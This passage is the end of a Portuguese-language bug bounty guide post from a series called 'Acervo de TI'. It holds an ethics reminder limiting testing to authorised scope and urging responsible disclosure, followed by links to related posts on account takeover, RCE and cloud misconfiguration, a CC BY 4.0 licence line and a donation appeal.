Tudo aqui é pra testes autorizados: bug bounty dentro do escopo, pentests contratados e labs legais. Dumpar .git de terceiros, usar credencial default em sistema alheio ou rodar PoC de RCE sem autorização é crime, e ainda por cima é desnecessário quando existe lab bom de sobra. Ao provar uma CVE, use o comando mais inofensivo possível, não toque em dado de cliente, e reporte com responsabilidade, incluindo a recomendação de correção. A graça é proteger, não quebrar.

Referências


Próximo na série: Account Takeover — JWT, reset de senha e OAuth · base: Recon & Discovery · severidade: Severidade, impacto e triagem · relacionados: RCE, Command Injection & SSTI · Cloud/AWS Misconfiguration · Encadeando vulnerabilidades


📚 Parte do Guia Completo de Bug Bounty — o índice da série, do básico ao avançado.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.
Curtiu? O conteúdo do Acervo de TI é gratuito e sem anúncios. Se te ajudou, você pode retribuir: 💖 GitHub Sponsors ou ☕ um café no PayPal.